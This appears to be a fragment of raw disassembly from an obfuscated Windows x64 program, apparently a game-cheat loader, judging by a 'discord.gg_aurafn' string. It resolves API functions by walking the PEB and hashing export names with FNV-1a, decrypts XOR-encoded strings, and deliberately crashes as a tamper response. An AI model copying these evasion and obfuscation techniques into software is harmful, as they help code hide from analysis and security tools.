movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c961
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c940
cmp r8d, 0xe80fd3a
je 0x14008c96b
test r9d, r9d
jne 0x14008c920
mov rax, qword [rax]
jmp 0x14008c8f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ca16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ca16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ca11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c9f0
cmp r8d, 0xa52bcaf9
je 0x14008ca1b
test r9d, r9d
jne 0x14008c9d0
mov rax, qword [rax]
jmp 0x14008c9a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x140164eec]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140164ef0]
mov word [rbp - 0x2c], ax
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x2f], 0x31
xor byte [rbp - 0x2e], 0x32
xor byte [rbp - 0x2d], 0x33
xor byte [rbp - 0x2c], 0x34
xor byte [rbp - 0x2b], 0x35
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.14006aa20
test al, al
je 0x14008cc8f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008cb06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008cb06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008cb01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008cae0
cmp r8d, 0xcded1a85
je 0x14008cb0b
test r9d, r9d
jne 0x14008cac0
mov rax, qword [rax]
jmp 0x14008ca90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008cbb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008cbb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008cbb1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008cb90
cmp r8d, 0xe80fd3a
je 0x14008cbbb
test r9d, r9d
jne 0x14008cb70
mov rax, qword [rax]
jmp 0x14008cb40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008cc66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008cc66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008cc61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008cc40
cmp r8d, 0xa52bcaf9
je 0x14008cc6b
test r9d, r9d
jne 0x14008cc20
mov rax, qword [rax]
jmp 0x14008cbf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [0x14019b70b], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14019b779], 1
jmp 0x14008cedf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008cd56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008cd56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008cd51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008cd30
cmp r8d, 0xcded1a85
je 0x14008cd5b
test r9d, r9d
jne 0x14008cd10
mov rax, qword [rax]
jmp 0x14008cce0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ce06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ce06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ce01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008cde0
cmp r8d, 0xe80fd3a
je 0x14008ce0b
test r9d, r9d
jne 0x14008cdc0
mov rax, qword [rax]
jmp 0x14008cd90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ceb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ceb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ceb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ce90
cmp r8d, 0xa52bcaf9
je 0x14008cebb
test r9d, r9d
jne 0x14008ce70
mov rax, qword [rax]
jmp 0x14008ce40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x1538]
call fcn.140064450
mov rbx, qword [rbp + 8]
mov dword [rbp + 0x78], 0x43700000
mov dword [rbp + 0x7c], 0x43a00000
lea rcx, [rbp + 0x78]
call fcn.140025c50
movups xmmword [rsi + 0xc4], xmm12
movdqa xmm3, xmmword [0x1401254c0]
mov dword [rbp + 0x80], 0x43820000
mov dword [rbp + 0x84], 0x42200000
movups xmm2, xmmword [0x140164ef8]
movups xmmword [rbp + 0xad8], xmm2
movzx eax, byte [0x140164f08]
mov byte [rbp + 0xae8], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008d107
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xad8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xadc]
xorps xmm2, xmm1
movd dword [rbp + 0xadc], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xae0]
xorps xmm2, xmm1
movd dword [rbp + 0xae0], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xae4]
xorps xmm2, xmm1
movd dword [rbp + 0xae4], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xad8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14008d120
movups xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm3
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a670]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a668]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a660]
xor r8d, r8d
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xad8]
call fcn.14003ede0
test al, al
je 0x14008d1c3
mov byte [0x14019b70b], 0
mov byte [reloc.WS2_32.dll_accept], 1
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rsi + 0xc4], xmm0
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0x88], 0x4432c000
mov dword [rbp + 0x8c], 0x40a00000
lea rcx, [rbp + 0x88]
call fcn.140025c50
movdqa xmm0, xmmword [0x140167fc0]
mov dword [rbp + 0x90], 0x41a00000
mov dword [rbp + 0x94], 0x41f00000
movzx eax, word [0x140164f0c]
mov word [rbp - 0x70], ax
cmp byte [0x140164f0d], 0
je 0x14008d22e
mov byte [rbp - 0x70], 0x78
xor byte [rbp - 0x6f], 0x31
movups xmm1, xmmword [0x140168000]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a688]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a680]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a678]
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x70]
call fcn.14003f280
test al, al
je 0x14008d292
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0x98], 0x44278000
mov dword [rbp + 0x9c], 0x43c80000
lea rcx, [rbp + 0x98]
call fcn.140025c50
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0xa0], 0x42700000
mov dword [rbp + 0xa4], 0x42480000
movsd xmm0, qword [0x140164f10]
movsd qword [rbp + 0x6a8], xmm0
mov ecx, dword [0x140164f18]
mov dword [rbp + 0x6b0], ecx
movzx eax, word [0x140164f1c]
mov word [rbp + 0x6b4], ax
movzx eax, byte [0x140164f1e]
mov byte [rbp + 0x6b6], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008d45f
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140164f10]
xorps xmm1, xmm0
movd dword [rbp + 0x6a8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6ac]
xorps xmm2, xmm1
movd dword [rbp + 0x6ac], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6b0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x6a8]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14008d470
movdqa xmmword [rsp + 0x50], xmm12
movdqa xmmword [rsp + 0x60], xmm3
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019bdd8]
mov qword [rsp + 0x28], rax
lea rax, [0x14019bde0]
mov qword [rsp + 0x20], rax
lea r9, [0x14019bdd0]
xor r8d, r8d
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x6a8]
call fcn.14003ede0
test al, al
je 0x14008d72b
movups xmm0, xmmword [0x140164f20]
movups xmmword [rbp + 0xf00], xmm0
movups xmm1, xmmword [0x140164f30]
movups xmmword [rbp + 0xf10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14008d67b
mov r8d, r12d
cmp r15d, 2
jl 0x14008d64b
mov edx, r12d
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0xf04]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14008d560
jmp 0x14008d67b
lea r9, [rbp + 0xf00]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14008d652
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d706
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d706
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d701
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d6e0
cmp r8d, 0x491e0a9c
je 0x14008d70b
test r9d, r9d
jne 0x14008d6c0
mov rax, qword [rax]
jmp 0x14008d690
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xf00]
call rdx
call fcn.140015b00
mov rsi, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x460]
mov rdi, 0xffffffffffffffff
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14008fa66
mov qword [rbp + 0xa8], 0
lea rcx, [rbp + 0xa8]
call fcn.140025c50
mov rcx, qword [rbp + 8]
call fcn.140025a50
call fcn.1400198b0
mov rsi, rax
movdqa xmm0, xmmword [0x140167fe0]
movups xmmword [rax + 0x114], xmm0
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rax + 0xd4], xmm0
movss xmm1, dword [0x14011fef4]
movaps xmm0, xmm1
unpcklps xmm0, xmm1
movsd qword [rax + 0x94], xmm0
mov dword [rbp + 0xb0], 0x44390000
mov dword [rbp + 0xb4], 0x43e60000
movsd xmm0, qword [0x140164f40]
movsd qword [rbp + 0x4a8], xmm0
movzx eax, word [0x140164f48]
mov word [rbp + 0x4b0], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008d840
mov byte [rbp + 0x4a8], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x4a9], 0x31
xor byte [rbp + 0x4aa], 0x32
xor byte [rbp + 0x4ab], 0x33
xor byte [rbp + 0x4ac], 0x34
xor byte [rbp + 0x4ad], 0x35
xor byte [rbp + 0x4ae], 0x36
xor byte [rbp + 0x4af], 0x37
xor byte [rbp + 0x4b0], 0x38
xor byte [rbp + 0x4b1], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x4a8]
call fcn.140007c60
mov dword [rbp + 0xb8], 0x43814000
mov dword [rbp + 0xbc], 0x42480000
lea rcx, [rbp + 0xb8]
call fcn.140025c50
mov rcx, rbx
call fcn.140025a50
lea rcx, str.discord.gg_aurafn
call fcn.14004e760
movaps xmm0, xmm6
call fcn.140021bf0
mov rbx, qword [rbp + 8]
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0xc0], 0x43700000
mov dword [rbp + 0xc4], 0x42f00000
lea rcx, [rbp + 0xc0]
call fcn.140025c50
movsd xmm0, qword [0x140164f50]
movsd qword [rbp + 0x5d8], xmm0
mov ecx, dword [0x140164f58]
mov dword [rbp + 0x5e0], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x5e4], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008da3d
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140164f50]
xorps xmm1, xmm0
movd dword [rbp + 0x5d8], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5dc]
xorps xmm2, xmm1
movd dword [rbp + 0x5dc], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5e0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x5d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008da50
lea rcx, [rbp + 0x5d8]
call fcn.14004e760
mov dword [rbp + 0xc8], 0x43700000
mov dword [rbp + 0xcc], 0x43110000
lea rcx, [rbp + 0xc8]
call fcn.140025c50
movsd xmm0, qword [0x140164f60]
movsd qword [rbp + 0x538], xmm0
movzx ecx, word [0x140164f68]
mov word [rbp + 0x540], cx
movzx eax, byte [0x140164f6a]
mov byte [rbp + 0x538], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x539], 0x31
xor byte [rbp + 0x53a], 0x32
xor byte [rbp + 0x53b], 0x33
xor byte [rbp + 0x53c], 0x34
xor byte [rbp + 0x53d], 0x35
xor byte [rbp + 0x53e], 0x36
xor byte [rbp + 0x53f], 0x37
xor cl, 0x38
mov byte [rbp + 0x540], cl
xor byte [rbp + 0x541], 0x39
xor al, 0x3a
mov byte [rbp + 0x542], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x14019a322]
lea rcx, [rbp + 0x538]
call fcn.140046c40
call fcn.140021450
movaps xmm0, xmm6
call fcn.140021bf0
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0xd0], 0x43700000
mov dword [rbp + 0xd4], 0x43390000
lea rcx, [rbp + 0xd0]
call fcn.140025c50
movsd xmm0, qword [0x140164f70]
movsd qword [rbp + 0x5e8], xmm0
mov ecx, dword [0x140164f78]
mov dword [rbp + 0x5f0], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x5f4], al
mov r8d, r12d
cmp r15d, 2
jl 0x14008dcf8
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140164f70]
